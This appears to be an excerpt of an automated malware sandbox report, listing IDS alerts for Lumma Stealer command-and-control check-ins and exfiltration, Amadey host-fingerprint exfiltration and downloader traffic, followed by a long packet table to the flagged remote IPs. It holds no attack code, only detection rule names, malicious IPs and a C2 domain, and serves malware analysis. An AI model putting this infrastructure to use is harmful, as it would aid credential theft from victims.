2024-12-20T09:12:35.796154+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49835	172.67.131.246	443	TCP
2024-12-20T09:12:35.840907+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49834	185.215.113.43	80	TCP
2024-12-20T09:12:36.556341+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49835	172.67.131.246	443	TCP
2024-12-20T09:12:37.346791+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49836	31.41.244.11	80	TCP
2024-12-20T09:12:37.389486+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49840	104.21.67.146	443	TCP
2024-12-20T09:12:40.296721+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49848	104.21.67.146	443	TCP
2024-12-20T09:12:41.175580+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49849	185.215.113.43	80	TCP
2024-12-20T09:12:42.622719+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49855	31.41.244.11	80	TCP
2024-12-20T09:12:43.005235+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49856	104.21.67.146	443	TCP
2024-12-20T09:12:46.946559+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49867	104.21.67.146	443	TCP
2024-12-20T09:12:47.860069+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49868	185.215.113.43	80	TCP
2024-12-20T09:12:47.983945+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49867	104.21.67.146	443	TCP
2024-12-20T09:12:49.306216+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49874	31.41.244.11	80	TCP
2024-12-20T09:12:55.235023+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:12:56.255245+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:12:56.255245+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49890	104.21.91.209	443	TCP
2024-12-20T09:12:56.394377+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49893	185.215.113.43	80	TCP
2024-12-20T09:12:57.503659+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:12:57.847526+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49899	31.41.244.11	80	TCP
2024-12-20T09:12:57.973161+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.4	56838	1.1.1.1	53	UDP
2024-12-20T09:12:58.297508+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:12:58.297508+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49897	104.21.91.209	443	TCP
2024-12-20T09:12:59.544458+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:12:59.544458+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:12:59.832967+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49906	104.21.91.209	443	TCP
2024-12-20T09:13:00.294589+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:13:00.294589+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49903	104.21.66.85	443	TCP
2024-12-20T09:13:01.559271+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:01.559271+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:01.994349+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49913	104.21.91.209	443	TCP
2024-12-20T09:13:02.320160+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:02.320160+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49910	104.21.66.85	443	TCP
2024-12-20T09:13:02.787858+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49913	104.21.91.209	443	TCP
2024-12-20T09:13:03.985239+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49919	185.215.113.43	80	TCP
2024-12-20T09:13:04.334307+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49923	104.21.91.209	443	TCP
2024-12-20T09:13:05.474614+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49925	31.41.244.11	80	TCP
2024-12-20T09:13:06.589777+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49932	104.21.66.85	443	TCP
2024-12-20T09:13:06.589777+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49932	104.21.66.85	443	TCP
2024-12-20T09:13:06.590909+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49931	104.21.91.209	443	TCP
2024-12-20T09:13:08.769763+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49939	104.21.66.85	443	TCP
2024-12-20T09:13:08.769763+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49939	104.21.66.85	443	TCP
2024-12-20T09:13:09.467327+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49941	104.21.91.209	443	TCP
2024-12-20T09:13:09.566056+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49939	104.21.66.85	443	TCP
2024-12-20T09:13:10.888157+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49947	104.21.66.85	443	TCP
2024-12-20T09:13:10.888157+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49947	104.21.66.85	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 09:12:03.400160074 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:03.519784927 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:03.520005941 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:03.520179033 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:03.639673948 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:04.869524002 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:04.869620085 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.382610083 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.382812977 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.502382994 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:06.502528906 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.502564907 CET	80	49747	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:06.502631903 CET	49747	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.502734900 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:06.622302055 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:08.260624886 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:08.260663986 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:08.260703087 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:08.260726929 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:08.496141911 CET	80	49753	185.215.113.43	192.168.2.4
Dec 20, 2024 09:12:08.497081995 CET	49753	80	192.168.2.4	185.215.113.43
Dec 20, 2024 09:12:08.500960112 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:08.620635033 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:08.621747971 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:08.621934891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:08.741435051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947356939 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947455883 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947489977 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947557926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947560072 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947612047 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947638988 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947676897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947709084 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947730064 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947763920 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947810888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947815895 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947851896 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947869062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947887897 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947896004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947923899 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:09.947963953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:09.947993040 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.067302942 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.067593098 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.067631006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.067771912 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.071381092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.071446896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.071485043 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.071532011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.140008926 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.140084028 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.140121937 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.140171051 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.144181013 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.144234896 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.144309998 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.144355059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.152652979 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.152720928 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.152793884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.152847052 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.161096096 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.161147118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.161220074 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.161271095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.169492960 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.169558048 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.169631958 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.169677973 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.177956104 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.178030968 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.178078890 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.178133011 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.186417103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.186454058 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.186486006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.186518908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.194772959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.194848061 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.194894075 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.194957018 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.203257084 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.203341961 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.203438997 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.203493118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.211657047 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.211721897 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.211745977 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.211795092 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.218893051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.218947887 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.219176054 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.219221115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.226100922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.226156950 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.226210117 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.226265907 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.332216978 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.332273006 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.332438946 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.332488060 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.334486961 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.334536076 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.334639072 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.334707975 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.339035034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.339098930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.339148045 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.339194059 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.343404055 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.343440056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.343470097 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.343497038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.347924948 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.347981930 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.348009109 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.348067045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.352402925 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.352461100 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.352534056 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.352581978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.356952906 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.357007980 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.357080936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.357131004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.361495018 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.361560106 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.361648083 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.361712933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.365978956 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.366039038 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.366112947 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.366162062 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.370485067 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.370553017 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.370553970 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.370610952 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.375068903 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.375129938 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.375202894 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.375262022 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.379545927 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.379582882 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.379595995 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.379630089 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.384017944 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.384066105 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.384072065 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.384116888 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.388557911 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.388605118 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.388691902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.388746023 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.393054962 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.393121958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.393165112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.393224955 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.397578001 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.397631884 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.397705078 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.397757053 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.402081966 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.402148008 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.402210951 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.402261019 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.406589985 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.406636953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.406716108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.406763077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.411106110 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.411158085 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.411226034 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.411278009 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.415684938 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.415730953 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.415791035 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.415857077 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.524470091 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.524506092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.524545908 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.524580956 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.525528908 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.525583982 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.525670052 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.525738001 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.529120922 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.529171944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.529263020 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.529392958 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.532761097 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.532819986 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.532886028 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.532938004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.536379099 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.536446095 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.536494970 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.536549091 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.539880991 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.539985895 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.540007114 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.540056944 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.543334007 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.543391943 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.543442011 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.543489933 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.546633959 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.546741962 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.546751022 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.546802044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.549933910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.549984932 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.550056934 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.550120115 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.553272963 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.553325891 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.553338051 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.553400993 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.556576014 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.556643963 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.556809902 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.556862116 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.559897900 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.559957027 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.560010910 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.560062885 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.563210964 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.563261032 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.563352108 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.563401937 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.566525936 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.566576004 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.566648006 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.566701889 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.569816113 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.569878101 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.569914103 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.569964886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.573151112 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.573204041 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.573262930 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.573312998 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.576487064 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.576543093 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.576631069 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.576683044 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.579794884 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.579919100 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.579921007 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.579967976 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.583106041 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:10.583156109 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:10.583234072 CET	80	49759	31.41.244.11	192.168.2.4
